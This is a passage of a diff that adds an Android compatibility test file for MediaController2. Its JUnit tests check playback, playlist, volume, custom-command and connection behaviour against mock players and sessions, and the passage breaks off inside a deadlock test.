+
+package android.media.cts;
+
+import static junit.framework.Assert.assertEquals;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.media.AudioManager;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaPlayerBase;
+import android.media.MediaPlaylistAgent;
+import android.media.MediaSession2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2.SessionCallback;
+import android.media.Rating2;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.media.VolumeProvider2;
+import android.media.cts.TestServiceRegistry.SessionServiceCallback;
+import android.media.cts.TestUtils.SyncHandler;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Process;
+import android.os.ResultReceiver;
+
+import androidx.annotation.NonNull;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Tests {@link MediaController2}.
+ */
+// TODO(jaewan): Implement host-side test so controller and session can run in different processes.
+// TODO(jaewan): Fix flaky failure -- see MediaController2Impl.getController()
+// TODO(jaeawn): Revisit create/close session in the sHandler. It's no longer necessary.
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@FlakyTest
+@Ignore
+public class MediaController2Test extends MediaSession2TestBase {
+    private static final String TAG = "MediaController2Test";
+
+    PendingIntent mIntent;
+    MediaSession2 mSession;
+    MediaController2 mController;
+    MockPlayer mPlayer;
+    MockPlaylistAgent mMockAgent;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        final Intent sessionActivity = new Intent(mContext, MockActivity.class);
+        // Create this test specific MediaSession2 to use our own Handler.
+        mIntent = PendingIntent.getActivity(mContext, 0, sessionActivity, 0);
+
+        mPlayer = new MockPlayer(1);
+        mMockAgent = new MockPlaylistAgent();
+        mSession = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(mMockAgent)
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public SessionCommandGroup2 onConnect(MediaSession2 session,
+                            ControllerInfo controller) {
+                        if (Process.myUid() == controller.getUid()) {
+                            return super.onConnect(session, controller);
+                        }
+                        return null;
+                    }
+
+                    @Override
+                    public void onPlaylistMetadataChanged(MediaSession2 session,
+                            MediaPlaylistAgent playlistAgent,
+                            MediaMetadata2 metadata) {
+                        super.onPlaylistMetadataChanged(session, playlistAgent, metadata);
+                    }
+                })
+                .setSessionActivity(mIntent)
+                .setId(TAG).build();
+        mController = createController(mSession.getToken());
+        TestServiceRegistry.getInstance().setHandler(sHandler);
+    }
+
+    @After
+    @Override
+    public void cleanUp() throws Exception {
+        super.cleanUp();
+        if (mSession != null) {
+            mSession.close();
+        }
+        TestServiceRegistry.getInstance().cleanUp();
+    }
+
+    /**
+     * Test if the {@link MediaSession2TestBase.TestControllerCallback} wraps the callback proxy
+     * without missing any method.
+     */
+    @Test
+    public void testTestControllerCallback() {
+        Method[] methods = TestControllerCallback.class.getMethods();
+        assertNotNull(methods);
+        for (int i = 0; i < methods.length; i++) {
+            // For any methods in the controller callback, TestControllerCallback should have
+            // overriden the method and call matching API in the callback proxy.
+            assertNotEquals("TestControllerCallback should override " + methods[i]
+                            + " and call callback proxy",
+                    ControllerCallback.class, methods[i].getDeclaringClass());
+        }
+    }
+
+    @Test
+    public void testPlay() {
+        mController.play();
+        try {
+            assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            fail(e.getMessage());
+        }
+        assertTrue(mPlayer.mPlayCalled);
+    }
+
+    @Test
+    public void testPause() {
+        mController.pause();
+        try {
+            assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            fail(e.getMessage());
+        }
+        assertTrue(mPlayer.mPauseCalled);
+    }
+
+    @Ignore
+    @Test
+    public void testStop() {
+        mController.stop();
+        try {
+            assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            fail(e.getMessage());
+        }
+        assertTrue(mPlayer.mStopCalled);
+    }
+
+    @Test
+    public void testPrepare() {
+        mController.prepare();
+        try {
+            assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            fail(e.getMessage());
+        }
+        assertTrue(mPlayer.mPrepareCalled);
+    }
+
+    @Test
+    public void testFastForward() {
+        // TODO(jaewan): Implement
+    }
+
+    @Test
+    public void testRewind() {
+        // TODO(jaewan): Implement
+    }
+
+    @Test
+    public void testSeekTo() {
+        final long seekPosition = 12125L;
+        mController.seekTo(seekPosition);
+        try {
+            assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            fail(e.getMessage());
+        }
+        assertTrue(mPlayer.mSeekToCalled);
+        assertEquals(seekPosition, mPlayer.mSeekPosition);
+    }
+
+    @Test
+    public void testGettersAfterConnected() throws InterruptedException {
+        final int state = MediaPlayerBase.PLAYER_STATE_PLAYING;
+        final long position = 150000;
+        final long bufferedPosition = 900000;
+
+        mPlayer.mLastPlayerState = state;
+        mPlayer.mCurrentPosition = position;
+        mPlayer.mBufferedPosition = bufferedPosition;
+
+        MediaController2 controller = createController(mSession.getToken());
+        assertEquals(state, controller.getPlayerState());
+        assertEquals(bufferedPosition, controller.getBufferedPosition());
+        // TODO (jaewan): Enable this test when Session2/Controller2's get(set)PlaybackSpeed
+        //                is implemented. (b/74093080)
+        //assertEquals(speed, controller.getPlaybackSpeed());
+        //assertEquals(position + speed * elapsedTime, controller.getPosition(), delta);
+    }
+
+    @Test
+    public void testGetSessionActivity() {
+        PendingIntent sessionActivity = mController.getSessionActivity();
+        assertEquals(mContext.getPackageName(), sessionActivity.getCreatorPackage());
+        assertEquals(Process.myUid(), sessionActivity.getCreatorUid());
+    }
+
+    @Test
+    public void testSetPlaylist() throws InterruptedException {
+        final List<MediaItem2> list = TestUtils.createPlaylist(2);
+        mController.setPlaylist(list, null /* Metadata */);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mSetPlaylistCalled);
+        assertNull(mMockAgent.mMetadata);
+
+        assertNotNull(mMockAgent.mPlaylist);
+        assertEquals(list.size(), mMockAgent.mPlaylist.size());
+        for (int i = 0; i < list.size(); i++) {
+            // MediaController2.setPlaylist does not ensure the equality of the items.
+            assertEquals(list.get(i).getMediaId(), mMockAgent.mPlaylist.get(i).getMediaId());
+        }
+    }
+
+    /**
+     * This also tests {@link ControllerCallback#onPlaylistChanged(
+     * MediaController2, List, MediaMetadata2)}.
+     */
+    @Test
+    public void testGetPlaylist() throws InterruptedException {
+        final List<MediaItem2> testList = TestUtils.createPlaylist(2);
+        final AtomicReference<List<MediaItem2>> listFromCallback = new AtomicReference<>();
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onPlaylistChanged(MediaController2 controller,
+                    List<MediaItem2> playlist, MediaMetadata2 metadata) {
+                assertNotNull(playlist);
+                assertEquals(testList.size(), playlist.size());
+                for (int i = 0; i < playlist.size(); i++) {
+                    assertEquals(testList.get(i).getMediaId(), playlist.get(i).getMediaId());
+                }
+                listFromCallback.set(playlist);
+                latch.countDown();
+            }
+        };
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public List<MediaItem2> getPlaylist() {
+                return testList;
+            }
+        };
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setId("testControllerCallback_onPlaylistChanged")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+                .setPlaylistAgent(agent)
+                .build()) {
+            MediaController2 controller = createController(
+                    session.getToken(), true, callback);
+            agent.notifyPlaylistChanged();
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertEquals(listFromCallback.get(), controller.getPlaylist());
+        }
+    }
+
+    @Test
+    public void testUpdatePlaylistMetadata() throws InterruptedException {
+        final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+        mController.updatePlaylistMetadata(testMetadata);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mUpdatePlaylistMetadataCalled);
+        assertNotNull(mMockAgent.mMetadata);
+        assertEquals(testMetadata.getMediaId(), mMockAgent.mMetadata.getMediaId());
+    }
+
+    @Test
+    public void testGetPlaylistMetadata() throws InterruptedException {
+        final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+        final AtomicReference<MediaMetadata2> metadataFromCallback = new AtomicReference<>();
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onPlaylistMetadataChanged(MediaController2 controller,
+                    MediaMetadata2 metadata) {
+                assertNotNull(testMetadata);
+                assertEquals(testMetadata.getMediaId(), metadata.getMediaId());
+                metadataFromCallback.set(metadata);
+                latch.countDown();
+            }
+        };
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public MediaMetadata2 getPlaylistMetadata() {
+                return testMetadata;
+            }
+        };
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setId("testGetPlaylistMetadata")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+                .setPlaylistAgent(agent)
+                .build()) {
+            MediaController2 controller = createController(session.getToken(), true, callback);
+            agent.notifyPlaylistMetadataChanged();
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertEquals(metadataFromCallback.get().getMediaId(),
+                    controller.getPlaylistMetadata().getMediaId());
+        }
+    }
+
+    /**
+     * Test whether {@link MediaSession2#setPlaylist(List, MediaMetadata2)} is notified
+     * through the
+     * {@link ControllerCallback#onPlaylistMetadataChanged(MediaController2, MediaMetadata2)}
+     * if the controller doesn't have {@link SessionCommand2#COMMAND_CODE_PLAYLIST_GET_LIST} but
+     * {@link SessionCommand2#COMMAND_CODE_PLAYLIST_GET_LIST_METADATA}.
+     */
+    @Test
+    public void testControllerCallback_onPlaylistMetadataChanged() throws InterruptedException {
+        final MediaItem2 item = TestUtils.createMediaItemWithMetadata();
+        final List<MediaItem2> list = TestUtils.createPlaylist(2);
+        final CountDownLatch latch = new CountDownLatch(2);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onPlaylistMetadataChanged(MediaController2 controller,
+                    MediaMetadata2 metadata) {
+                assertNotNull(metadata);
+                assertEquals(item.getMediaId(), metadata.getMediaId());
+                latch.countDown();
+            }
+        };
+        final SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public SessionCommandGroup2 onConnect(MediaSession2 session,
+                    ControllerInfo controller) {
+                if (Process.myUid() == controller.getUid()) {
+                    SessionCommandGroup2 commands = new SessionCommandGroup2();
+                    commands.addCommand(new SessionCommand2(
+                              SessionCommand2.COMMAND_CODE_PLAYLIST_GET_LIST_METADATA));
+                    return commands;
+                }
+                return super.onConnect(session, controller);
+            }
+        };
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public MediaMetadata2 getPlaylistMetadata() {
+                return item.getMetadata();
+            }
+
+            @Override
+            public List<MediaItem2> getPlaylist() {
+                return list;
+            }
+        };
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setId("testControllerCallback_onPlaylistMetadataChanged")
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .setPlaylistAgent(agent)
+                .build()) {
+            MediaController2 controller = createController(session.getToken(), true, callback);
+            agent.notifyPlaylistMetadataChanged();
+            // It also calls onPlaylistMetadataChanged() if it doesn't have permission for getList()
+            agent.notifyPlaylistChanged();
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testAddPlaylistItem() throws InterruptedException {
+        final int testIndex = 12;
+        final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+        mController.addPlaylistItem(testIndex, testMediaItem);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mAddPlaylistItemCalled);
+        assertEquals(testIndex, mMockAgent.mIndex);
+        // MediaController2.addPlaylistItem does not ensure the equality of the items.
+        assertEquals(testMediaItem.getMediaId(), mMockAgent.mItem.getMediaId());
+    }
+
+    @Test
+    public void testRemovePlaylistItem() throws InterruptedException {
+        mMockAgent.mPlaylist = TestUtils.createPlaylist(2);
+
+        // Recreate controller for sending removePlaylistItem.
+        // It's easier to ensure that MediaController2.getPlaylist() returns the playlist from the
+        // agent.
+        MediaController2 controller = createController(mSession.getToken());
+        MediaItem2 targetItem = controller.getPlaylist().get(0);
+        controller.removePlaylistItem(targetItem);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mRemovePlaylistItemCalled);
+        assertEquals(targetItem, mMockAgent.mItem);
+    }
+
+    @Test
+    public void testReplacePlaylistItem() throws InterruptedException {
+        final int testIndex = 12;
+        final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+        mController.replacePlaylistItem(testIndex, testMediaItem);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mReplacePlaylistItemCalled);
+        // MediaController2.replacePlaylistItem does not ensure the equality of the items.
+        assertEquals(testMediaItem.getMediaId(), mMockAgent.mItem.getMediaId());
+    }
+
+    @Test
+    public void testSkipToPreviousItem() throws InterruptedException {
+        mController.skipToPreviousItem();
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mMockAgent.mSkipToPreviousItemCalled);
+    }
+
+    @Test
+    public void testSkipToNextItem() throws InterruptedException {
+        mController.skipToNextItem();
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mMockAgent.mSkipToNextItemCalled);
+    }
+
+    @Test
+    public void testSkipToPlaylistItem() throws InterruptedException {
+        MediaController2 controller = createController(mSession.getToken());
+        MediaItem2 targetItem = TestUtils.createMediaItemWithMetadata();
+        controller.skipToPlaylistItem(targetItem);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mSkipToPlaylistItemCalled);
+        assertEquals(targetItem, mMockAgent.mItem);
+    }
+
+    /**
+     * This also tests {@link ControllerCallback#onShuffleModeChanged(MediaController2, int)}.
+     */
+    @Test
+    public void testGetShuffleMode() throws InterruptedException {
+        final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public int getShuffleMode() {
+                return testShuffleMode;
+            }
+        };
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onShuffleModeChanged(MediaController2 controller, int shuffleMode) {
+                assertEquals(testShuffleMode, shuffleMode);
+                latch.countDown();
+            }
+        };
+        mSession.updatePlayer(mPlayer, agent, null);
+        MediaController2 controller = createController(mSession.getToken(), true, callback);
+        agent.notifyShuffleModeChanged();
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(testShuffleMode, controller.getShuffleMode());
+    }
+
+    @Test
+    public void testSetShuffleMode() throws InterruptedException {
+        final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+        mController.setShuffleMode(testShuffleMode);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mSetShuffleModeCalled);
+        assertEquals(testShuffleMode, mMockAgent.mShuffleMode);
+    }
+
+    /**
+     * This also tests {@link ControllerCallback#onRepeatModeChanged(MediaController2, int)}.
+     */
+    @Test
+    public void testGetRepeatMode() throws InterruptedException {
+        final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public int getRepeatMode() {
+                return testRepeatMode;
+            }
+        };
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onRepeatModeChanged(MediaController2 controller, int repeatMode) {
+                assertEquals(testRepeatMode, repeatMode);
+                latch.countDown();
+            }
+        };
+        mSession.updatePlayer(mPlayer, agent, null);
+        MediaController2 controller = createController(mSession.getToken(), true, callback);
+        agent.notifyRepeatModeChanged();
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(testRepeatMode, controller.getRepeatMode());
+    }
+
+    @Test
+    public void testSetRepeatMode() throws InterruptedException {
+        final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+        mController.setRepeatMode(testRepeatMode);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mSetRepeatModeCalled);
+        assertEquals(testRepeatMode, mMockAgent.mRepeatMode);
+    }
+
+    @Test
+    public void testSetVolumeTo() throws Exception {
+        final int maxVolume = 100;
+        final int currentVolume = 23;
+        final int volumeControlType = VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+        TestVolumeProvider volumeProvider =
+                new TestVolumeProvider(volumeControlType, maxVolume, currentVolume);
+
+        mSession.updatePlayer(new MockPlayer(0), null, volumeProvider);
+        final MediaController2 controller = createController(mSession.getToken(), true, null);
+
+        final int targetVolume = 50;
+        controller.setVolumeTo(targetVolume, 0 /* flags */);
+        assertTrue(volumeProvider.mLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertTrue(volumeProvider.mSetVolumeToCalled);
+        assertEquals(targetVolume, volumeProvider.mVolume);
+    }
+
+    @Test
+    public void testAdjustVolume() throws Exception {
+        final int maxVolume = 100;
+        final int currentVolume = 23;
+        final int volumeControlType = VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+        TestVolumeProvider volumeProvider =
+                new TestVolumeProvider(volumeControlType, maxVolume, currentVolume);
+
+        mSession.updatePlayer(new MockPlayer(0), null, volumeProvider);
+        final MediaController2 controller = createController(mSession.getToken(), true, null);
+
+        final int direction = AudioManager.ADJUST_RAISE;
+        controller.adjustVolume(direction, 0 /* flags */);
+        assertTrue(volumeProvider.mLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertTrue(volumeProvider.mAdjustVolumeCalled);
+        assertEquals(direction, volumeProvider.mDirection);
+    }
+
+    @Test
+    public void testGetPackageName() {
+        assertEquals(mContext.getPackageName(), mController.getSessionToken().getPackageName());
+    }
+
+    @Test
+    public void testSendCustomCommand() throws InterruptedException {
+        // TODO(jaewan): Need to revisit with the permission.
+        final SessionCommand2 testCommand =
+                new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PREPARE);
+        final Bundle testArgs = new Bundle();
+        testArgs.putString("args", "testSendCustomAction");
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onCustomCommand(MediaSession2 session, ControllerInfo controller,
+                    SessionCommand2 customCommand, Bundle args, ResultReceiver cb) {
+                super.onCustomCommand(session, controller, customCommand, args, cb);
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(testCommand, customCommand);
+                assertTrue(TestUtils.equals(testArgs, args));
+                assertNull(cb);
+                latch.countDown();
+            }
+        };
+        mSession.close();
+        mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback).setId(TAG).build();
+        final MediaController2 controller = createController(mSession.getToken());
+        controller.sendCustomCommand(testCommand, testArgs, null);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testControllerCallback_onConnected() throws InterruptedException {
+        // createController() uses controller callback to wait until the controller becomes
+        // available.
+        MediaController2 controller = createController(mSession.getToken());
+        assertNotNull(controller);
+    }
+
+    @Test
+    public void testControllerCallback_sessionRejects() throws InterruptedException {
+        final MediaSession2.SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public SessionCommandGroup2 onConnect(MediaSession2 session,
+                    ControllerInfo controller) {
+                return null;
+            }
+        };
+        sHandler.postAndSync(() -> {
+            mSession.close();
+            mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+                    .setSessionCallback(sHandlerExecutor, sessionCallback).build();
+        });
+        MediaController2 controller =
+                createController(mSession.getToken(), false, null);
+        assertNotNull(controller);
+        waitForConnect(controller, false);
+        waitForDisconnect(controller, true);
+    }
+
+    @Test
+    public void testControllerCallback_releaseSession() throws InterruptedException {
+        sHandler.postAndSync(() -> {
+            mSession.close();
+        });
+        waitForDisconnect(mController, true);
+    }
+
+    @Test
+    public void testControllerCallback_release() throws InterruptedException {
+        mController.close();
+        waitForDisconnect(mController, true);
+    }
+
+    @Test
+    public void testPlayFromSearch() throws InterruptedException {
+        final String request = "random query";
+        final Bundle bundle = new Bundle();
+        bundle.putString("key", "value");
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onPlayFromSearch(MediaSession2 session, ControllerInfo controller,
+                    String query, Bundle extras) {
+                super.onPlayFromSearch(session, controller, query, extras);
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(request, query);
+                assertTrue(TestUtils.equals(bundle, extras));
+                latch.countDown();
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testPlayFromSearch").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.playFromSearch(request, bundle);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testPlayFromUri() throws InterruptedException {
+        final Uri request = Uri.parse("foo://boo");
+        final Bundle bundle = new Bundle();
+        bundle.putString("key", "value");
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onPlayFromUri(MediaSession2 session, ControllerInfo controller, Uri uri,
+                    Bundle extras) {
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(request, uri);
+                assertTrue(TestUtils.equals(bundle, extras));
+                latch.countDown();
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testPlayFromUri").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.playFromUri(request, bundle);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testPlayFromMediaId() throws InterruptedException {
+        final String request = "media_id";
+        final Bundle bundle = new Bundle();
+        bundle.putString("key", "value");
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onPlayFromMediaId(MediaSession2 session, ControllerInfo controller,
+                    String mediaId, Bundle extras) {
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(request, mediaId);
+                assertTrue(TestUtils.equals(bundle, extras));
+                latch.countDown();
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testPlayFromMediaId").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.playFromMediaId(request, bundle);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testPrepareFromSearch() throws InterruptedException {
+        final String request = "random query";
+        final Bundle bundle = new Bundle();
+        bundle.putString("key", "value");
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onPrepareFromSearch(MediaSession2 session, ControllerInfo controller,
+                    String query, Bundle extras) {
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(request, query);
+                assertTrue(TestUtils.equals(bundle, extras));
+                latch.countDown();
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testPrepareFromSearch").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.prepareFromSearch(request, bundle);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testPrepareFromUri() throws InterruptedException {
+        final Uri request = Uri.parse("foo://boo");
+        final Bundle bundle = new Bundle();
+        bundle.putString("key", "value");
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onPrepareFromUri(MediaSession2 session, ControllerInfo controller, Uri uri,
+                    Bundle extras) {
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(request, uri);
+                assertTrue(TestUtils.equals(bundle, extras));
+                latch.countDown();
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testPrepareFromUri").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.prepareFromUri(request, bundle);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testPrepareFromMediaId() throws InterruptedException {
+        final String request = "media_id";
+        final Bundle bundle = new Bundle();
+        bundle.putString("key", "value");
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onPrepareFromMediaId(MediaSession2 session, ControllerInfo controller,
+                    String mediaId, Bundle extras) {
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(request, mediaId);
+                assertTrue(TestUtils.equals(bundle, extras));
+                latch.countDown();
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testPrepareFromMediaId").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.prepareFromMediaId(request, bundle);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testSetRating() throws InterruptedException {
+        final int ratingType = Rating2.RATING_5_STARS;
+        final float ratingValue = 3.5f;
+        final Rating2 rating = Rating2.newStarRating(ratingType, ratingValue);
+        final String mediaId = "media_id";
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onSetRating(MediaSession2 session, ControllerInfo controller,
+                    String mediaIdOut, Rating2 ratingOut) {
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(mediaId, mediaIdOut);
+                assertEquals(rating, ratingOut);
+                latch.countDown();
+            }
+        };
+
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testSetRating").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.setRating(mediaId, rating);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testIsConnected() throws InterruptedException {
+        assertTrue(mController.isConnected());
+        sHandler.postAndSync(()->{
+            mSession.close();
+        });
+        // postAndSync() to wait until the disconnection is propagated.
+        sHandler.postAndSync(()->{
+            assertFalse(mController.isConnected());
+        });
+    }
+
+    /**
+     * Test potential deadlock for calls between controller and session.
+     */
+    @Test
+    public void testDeadlock() throws InterruptedException {
+        sHandler.postAndSync(() -> {
+            mSession.close();
+            mSession = null;
+        });
+
+        // Two more threads are needed not to block test thread nor test wide thread (sHandler).
+        final HandlerThread sessionThread = new HandlerThread("testDeadlock_session");
+        final HandlerThread testThread = new HandlerThread("testDeadlock_test");
+        sessionThread.start();
+        testThread.start();
+        final SyncHandler sessionHandler = new SyncHandler(sessionThread.getLooper());
+        final Handler testHandler = new Handler(testThread.getLooper());
+        final CountDownLatch latch = new CountDownLatch(1);
+        try {
+            final MockPlayer player = new MockPlayer(0);
+            sessionHandler.postAndSync(() -> {
+                mSession = new MediaSession2.Builder(mContext)
+                        .setPlayer(mPlayer)
+                        .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+                        .setId("testDeadlock").build();
+            });
